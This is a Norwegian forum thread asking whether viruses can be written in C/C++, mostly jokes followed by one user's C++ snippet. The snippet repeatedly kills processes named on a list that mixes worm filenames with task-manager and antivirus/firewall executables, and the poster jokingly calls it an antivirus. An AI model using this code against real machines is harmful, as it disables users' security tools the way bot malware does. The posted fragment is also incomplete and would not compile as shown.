Gå til innhold

Kan man lage virus med C/C++?


Anbefalte innlegg

Videoannonse
Annonse
Skrevet
Start->kjør->cmd

"c++ "make me a 1337 killer virus""

 

Enkelt og greit.

 

 

Med andre ord, lær deg c eller c++ først, og kom med spørsmål etterpå.

Hmm... D funka ikke...

 

Jeg kan C++, men vil for all del ikke misbruke d. Bruk det på noe nyttig heller.

Skrevet
Start->kjør->cmd

"c++ "make me a 1337 killer virus""

 

Enkelt og greit.

 

 

Med andre ord, lær deg c eller c++ først, og kom med spørsmål etterpå.

Hmm... D funka ikke...

:lol:

Skrevet
Start->kjør->cmd

"c++ "make me a 1337 killer virus""

 

Enkelt og greit.

 

 

Med andre ord, lær deg c eller c++ først, og kom med spørsmål etterpå.

Hmm... D funka ikke...

 

Jeg kan C++, men vil for all del ikke misbruke d. Bruk det på noe nyttig heller.

Håper for din skyld at du var ironisk der...

Skrevet

Jeg håper for min skyld at han ikke var ironisk, og for din skyld at han var det, men det var vår skyld at det var din skyld.

 

1000-kr.-spm: Hvem hadde skylden, egentlig?

 

*wee*

Skrevet (endret)

const char *exelst[] = { // W32.Blaster.Worm
 	"msblast.exe","tftpd.exe", 
 	// W32.Blaster.B.Worm
 	"penis32.exe",
 	// W32.Blaster.C.Worm
 	"index.exe",
 	"root32.exe",
 	"teekids.exe",
 	// W32.Blaster.D.Worm
 	"mspatch.exe",
 	// W32.Blaster.E.Worm
 	"mslaugh.exe",
 	// W32.Blaster.F.Worm
 	"enbiei.exe",
 	// Backdoor.IRC.Cirebot
 	"worm.exe",
 	"lolx.exe",
 	"dcomx.exe",
 	"rpc.exe",
 	"rpctest.exe",
 	// common trojan filenames
 	"scvhost.exe",
 	"bot.exe",
           "antivirus.exe",
 	"sdbot.exe",
 	"taskmgr.exe",
 	"zonealarm.exe",
 	"avpcc.exe",
 	"AvpM.exe",
 	0 }; //legg til mer shit her :>

 

#ifndef NO_EXEKILL
void exeKill(void);
#endif
#ifndef NO_EXEKILL
void exeKill()
{
HANDLE hProcess;
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
char szProcessName[MAX_PATH];
HMODULE hMod;
int exeLstKill;

if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) {
 return;
}
cProcesses = cbNeeded / sizeof(DWORD);
for (i = 0; i < cProcesses; i++) {
 strcpy(szProcessName, "unknown");
 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE,FALSE,aProcesses[i]);
 if (NULL != hProcess) {
 	if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
   GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName));
               exeLstKill = 0;
               while (exelst[exeLstKill]) {
                   if (lstrcmpi(exelst[exeLstKill], szProcessName) == 0) {
                       TerminateProcess(hProcess, 0);
                   }
                   exeLstKill++;
               }
 	}
 }    
    CloseHandle(hProcess);
}   
   return;    
}
#endif

void main() 
{ 
DWORD waitresult;
HANDLE mymutex;
mymutex = CreateMutex(NULL,TRUE,mutexname); // Attempts to make the mutex and own it.
waitresult = WaitForSingleObject(mymutex, 10000); // Waits 10 seconds for ownership of the mutex.
if (waitresult == WAIT_TIMEOUT) ExitProcess(0); // If it can't own the mutex, close.
while (1) {
#ifndef NO_EXEKILL
exeKill();
Sleep(20000);
}
#endif
}

 

En slags antivirus (Kommer ann på :p).

Dreper alle exe navnene du putter i listen med 20 secs mellom rom. så hvis den dreper en exe

og den kommer tilbake tar den å dreper den etter 20 sekunder. :>

Endret av P_e_pper
Gjest
Dette emnet er stengt for flere svar.
  • Hvem er aktive   0 medlemmer

    • Ingen innloggede medlemmer aktive
×
×
  • Opprett ny...